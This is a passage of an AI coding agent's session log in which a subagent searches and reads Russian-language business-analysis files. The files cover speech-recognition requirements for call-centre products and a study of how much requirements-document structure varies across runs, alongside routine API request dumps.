8.2):** SSOT \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 3iTech/Yandex\\n./runs/2026/RUN-0069/logs/experiment-log.md:33:  \u00ab\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit)\u00bb \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u043e.\\n./runs/2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md:27:- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 (\u00ab\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit)\u00bb) \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u043e\u0441\u044c:\\n./runs/2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md:47:| 4.4 | \u0421\u0435\u0440\u0432\u0438\u0441 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 LLM-\u043c\u043e\u0434\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f OpenAI, YandexGPT, GigaChat \u0438 DeepSeek \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438 \u043f\ufffd\\n./runs/2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md:70:| 8.2. | \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0447\u0438 \u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0430\u043a\u0446\u0435\u043d\u0442\u0430 \u0438\u043b\u0438 \u0440\u0435\u0447\u0435\u0432\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0430\u0431\u043e\u043d\u0435\ufffd\\n./experiments/issue_325_doc_columns_data.py:12:* \u0420\u043e\u0431\u043e\u0442\u044b \u2014 \u00ab\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Yandex SpeechKit\u00bb\\n./experiments/issue_325_doc_columns_data.py:14:* \u0420\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u2014 \u00ab\u0412\u044b\u0431\u043e\u0440 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u2026 3iTech \u2026 Yandex\\n./experiments/issue_325_doc_columns_data.py:34:    \\\"**\u0414\u0430.** \u00ab\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430 \u0432\u044b\u0431\u043e\u0440 MANGO OFFICE \u0438\u043b\u0438 Yandex SpeechKit\u00bb, \u044f\u0437\u044b\u043a \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f \u2014 \u0440\u0443\u0441\u0441\u043a\u0438\u0439 [ROBOTFIL, \u00a73.5, \u0441.28-32]\\\",\\n./experiments/issue_325_doc_columns_data.py:35:    \\\"**\u0414\u0430.** \u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f\u043c\u0438 3iTech \u0438\u043b\u0438 Yandex SpeechKit [SA, \u00a73.2, \u0441.14-16]\\\",\\n./experiments/issue_325_doc_columns_data.py:39:    \\\"**\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit).** [ROBOTFIL] \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u043b\u0438\u0442\u043d\u043e\u0439 \u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0447\u0438 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442; \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 \u0442\u043e\u043b\u043a\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0442\u043e\u043a\ufffd\\n./experiments/issue_325_doc_columns_data.py:40:    \\\"**\u0414\u0430 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit / 3iTech).** [SA] \u0440\u0435\u0436\u0438\u043c\u044b \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442; \u0432\u044b\u0432\u043e\u0434 \u0441\u0434\u0435\u043b\u0430\u043d \u043f\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c\u043e\u0433\\n./experiments/issue_325_doc_columns_data.py:49:    \\\"**\u0414\u0430, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Yandex SpeechKit).** \u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0432 [ROBOTFIL] \u043d\u0435\u0442; \u043d\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u043c\u044b \u043f\u043e\u043a\u0440\u044b\u0432\ufffd\\n./experiments/issue_325_doc_columns_data.py:50:    \\\"**\u0414\u0430, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e.** \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0441\u043b\u043e\u0432\u043e \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u044f [SA, \u00a76.2.1, \u0441.44-46] \u0438 \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u043d\u0430 \u0443\u043b\u0443\u0447\ufffd\\n./experiments/issue_325_doc_columns_data.py:65:    \\\"**\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445.** \u0427\u0438\u0441\u043b\u043e\u0432\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043d\u0435\u0442; \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u0430\u0451\u0442 \u043b\u0438\u0448\u044c \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u0434\u0430\u0446\u0438\u044e: \u00abYandex SpeechKit \u2014 \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\",\n[2026-09-29T07:46:05.264Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:05.264Z] [INFO]       }\n[2026-09-29T07:46:05.264Z] [INFO]     ]\n[2026-09-29T07:46:05.264Z] [INFO]   },\n[2026-09-29T07:46:05.264Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"uuid\": \"00c8d06b-9703-41c7-bc50-1826e566a646\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:05.257Z\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:05.264Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:05.264Z] [INFO] }\n[2026-09-29T07:46:05.301Z] [STDOUT] [log_7493be] sending request {\n[2026-09-29T07:46:05.308Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:05.313Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:05.320Z] [STDOUT]   options: {\n[2026-09-29T07:46:05.324Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:05.331Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:05.336Z] [STDOUT]     body: {\n[2026-09-29T07:46:05.338Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:05.345Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:05.350Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:05.354Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:05.361Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:05.363Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:05.373Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:05.377Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:05.381Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:05.385Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:05.388Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:05.398Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:05.407Z] [STDOUT]     },\n[2026-09-29T07:46:05.411Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:05.448Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:05.455Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:05.458Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:05.465Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:05.468Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:05.476Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:05.485Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:05.498Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:05.507Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:05.520Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:05.525Z] [STDOUT]     },\n[2026-09-29T07:46:05.530Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:05.534Z] [STDOUT]   },\n[2026-09-29T07:46:05.538Z] [STDOUT]   headers: {\n[2026-09-29T07:46:05.540Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:05.545Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:05.549Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:05.552Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:05.559Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:05.570Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:05.577Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:05.590Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:05.596Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:05.602Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:05.609Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:05.614Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3996\",\n[2026-09-29T07:46:05.622Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:05.629Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:05.635Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:05.639Z] [STDOUT]     \"x-client-request-id\": \"a40e3b0b-d6dd-4aa9-8b45-7d9ee235d74c\",\n[2026-09-29T07:46:05.647Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:05.655Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:05.660Z] [STDOUT]     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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:06.585Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:06.597Z] [STDOUT]   body: X {\n[2026-09-29T07:46:06.606Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:06.629Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:06.634Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:06.648Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:06.658Z] [STDOUT]     },\n[2026-09-29T07:46:06.666Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:06.678Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:06.682Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:06.683Z] [STDOUT]   },\n[2026-09-29T07:46:06.691Z] [STDOUT]   durationMs: 855,\n[2026-09-29T07:46:06.715Z] [STDOUT] }\n[2026-09-29T07:46:07.574Z] [INFO] {\n[2026-09-29T07:46:07.574Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:07.574Z] [INFO]   \"message\": {\n[2026-09-29T07:46:07.574Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:07.574Z] [INFO]     \"content\": [\n[2026-09-29T07:46:07.574Z] [INFO]       {\n[2026-09-29T07:46:07.574Z] [INFO]         \"tool_use_id\": \"toolu_01EaoK7mx2iyNhgJAYuJXYuH\",\n[2026-09-29T07:46:07.574Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:07.574Z] [INFO]         \"content\": \"=== artifact-micro-structure\\n## BLUF: \u0434\u0435\u0441\u044f\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f.** 17\\n   \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u0434\u0430\u043b\u0438 17 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432; \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442\\n   \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0433\u0440\u0443\u0431\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432\\n   ([\u0437\u0430\u043c\u0435\u0440](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md), \u00a73).\\n2. **\u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435\u043c \u0437\u0430\u0434\u0430\u0447.** \u041d\u0430 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 BCREQ-1074\\n   \u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0434\u0430\u043b\u0438 \u0442\u0440\u0438 \u0441\u043a\u0435\u043b\u0435\u0442\u0430 (\u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 0.69), \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\\n   \u0416\u0430\u043a\u043a\u0430\u0440 \u043f\u0430\u0434\u0430\u0435\u0442 \u0434\u043e 0.167.\\n3. **\u0423\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0430 \u0430\u0440\u043d\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430.** \u0428\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f, \u043d\u043e\\n   \u0440\u0430\u0437\u0434\u0435\u043b \u0441 \u043e\u0434\u043d\u0438\u043c \u0438 \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u043e\u043c \u0432 \u0442\u0440\u0451\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043d\u0435\u0441\u0451\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u0430.\\n   \u041d\u043e\u0440\u043c\u0430, \u0437\u0430\u0434\u0430\u043d\u043d\u0430\u044f \u0447\u0438\u0441\u043b\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u043e\u0439.\\n4. **\u0421\u043b\u043e\u0439 \u0441\u043c\u044b\u0441\u043b\u0430 \u0438 \u0441\u043b\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c.** `S-SCENARIO` \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0441\u044f 14\\n   \u0440\u0430\u0437 \u043f\u043e\u0434 14 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438. \u041f\u043e\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043d\u0438 \u043e\u0434\u0438\u043d\\n   \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d.\\n5. **UI \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u043d\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u044b.** `S-UI` \u0438 `S-AC` \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443\\n   \u0440\u0430\u0437\u0443 \u043d\u0430 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432: \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0440\u0430\u0441\u0442\u0432\u043e\u0440\u0435\u043d\u044b\\n   \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n   \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430.\\n6. **\u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u043e\u0451\u0432 \u2014 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f.** \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439\\n   \u0431\u0430\u0437\u0438\u0441 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u043d\u0435 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u043e \u0447\u0430\u0441\u0442\u044f\u043c: \u0441\u043b\u043e\u0438\\n   \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 **\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u043e\u0432**, \u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0438\u0437\\n   \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/10-theory.md), \u00a73).\\n7. **\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0432\u0430\u0440\u0438\u0430\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u0442\u044c \u0432 \u0441\u043a\u0435\u043b\u0435\u0442.** \u0420\u0430\u0437\u043b\u0438\u0447\u0438\u0435\\n   \u00ab\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438\u00bb \u0438 \u00ab\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0431\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a\u00bb \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e\\n   \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u0442\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439\\n   \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0441\u044f\u00bb.\\n8. **\u041e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0432\u043c\u0435\u0441\u0442\u043e \u0442\u0440\u0451\u0445 \u2014 \u0437\u0430 \u0441\u0447\u0451\u0442 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0430 \u043d\u0435 \u0437\u0430 \u0441\u0447\u0451\u0442 \u0442\u0440\u0451\u0445\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432.** \u0411\u0438\u0437\u043d\u0435\u0441-\u0424\u0422, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0430 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f\\n   \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u0442\u0440\u0438 **\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043e\u0434\u043d\u043e\u0433\u043e** \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\\n   ([`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/20-taxonomy.md), \u00a75).\\n9. **Golden Set \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u0438 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u043d.** \u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u0434\u0430\u0451\u0442 \u0447\u0438\u0441\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445\\n   \u0432\u044b\u0431\u043e\u0440\u043e\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044d\u0442\u0430\u043b\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0434\u0443\u043a\u0446\u0438\u0435\u0439: \u043e\u043d \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f 